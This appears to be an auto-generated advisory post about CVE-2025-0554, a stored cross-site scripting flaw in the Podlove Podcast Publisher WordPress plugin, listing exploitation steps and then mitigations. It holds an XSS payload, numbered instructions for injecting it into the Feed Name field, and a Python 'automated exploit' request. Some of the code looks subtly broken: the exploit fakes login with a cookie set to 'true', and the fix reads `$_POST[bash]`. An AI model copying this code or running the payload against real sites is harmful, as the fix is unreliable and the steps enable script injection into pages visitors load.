WordPress, Stored Cross-Site Scripting, CVE-2025-0554 (Critical)

The CVE-2025-0554 vulnerability affects the Podlove Podcast Publisher plugin for WordPress, specifically versions 4.1.25 and earlier. This flaw arises due to insufficient input sanitization and output escaping of the Feed Name value. Authenticated attackers with administrator-level access can exploit this vulnerability to inject arbitrary web scripts into pages. These scripts execute whenever a user accesses the compromised page, leading to potential data theft, session hijacking, or other malicious activities. The vulnerability is particularly impactful in multi-site WordPress installations or where the `unfiltered_html` capability is disabled, as these configurations lack additional safeguards against such attacks.

DailyCVE Form:

Platform: WordPress
Version: <= 4.1.25
Vulnerability: Stored XSS
Severity: Critical
Date: 01/18/2025

What Undercode Say:

Exploitation:

1. Exploit Code Example:

<script>alert('XSS')</script>

Attackers can inject this script into the Feed Name field to execute malicious JavaScript.

2. Steps to Exploit:

  • Gain administrator access to the WordPress site.
  • Navigate to the Podlove Podcast Publisher plugin settings.
  • Inject malicious script into the Feed Name field.
  • Save changes and wait for users to access the affected page.

3. Automated Exploit:

import requests
target_url = "http://example.com/wp-admin/admin-ajax.php"
payload = {"feed_name": "<script>alert('XSS')</script>"}
cookies = {"wordpress_logged_in": "true"}
response = requests.post(target_url, data=payload, cookies=cookies)
print(response.status_code)

Protection:

1. Patch Update:

  • Upgrade to Podlove Podcast Publisher plugin version 4.1.26 or later.

2. Input Sanitization:

  • Implement proper input sanitization for all user-controlled fields.
    $feed_name = sanitize_text_field($_POST[bash]);
    

3. Output Escaping:

  • Use WordPress escaping functions like `esc_html` or `esc_attr` when rendering data.
    echo esc_html($feed_name);
    

4. Disable Unnecessary Capabilities:

  • Restrict `unfiltered_html` to trusted users only.

5. Web Application Firewall (WAF):

  • Deploy a WAF to filter malicious payloads.

6. Security Plugins:

  • Use security plugins like Wordfence to detect and block XSS attempts.

7. Regular Audits:

  • Conduct regular security audits to identify and fix vulnerabilities.

8. User Training:

  • Educate administrators about the risks of XSS and safe input handling practices.

9. Content Security Policy (CSP):

  • Implement a CSP to restrict the execution of unauthorized scripts.
    Content-Security-Policy: default-src 'self'; script-src 'self';
    

10. Monitoring:

  • Monitor logs for unusual activity or injection attempts.
    By following these steps, administrators can mitigate the risks associated with CVE-2025-0554 and protect their WordPress installations from similar vulnerabilities.

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-0554
Extra Source Hub:
Undercode

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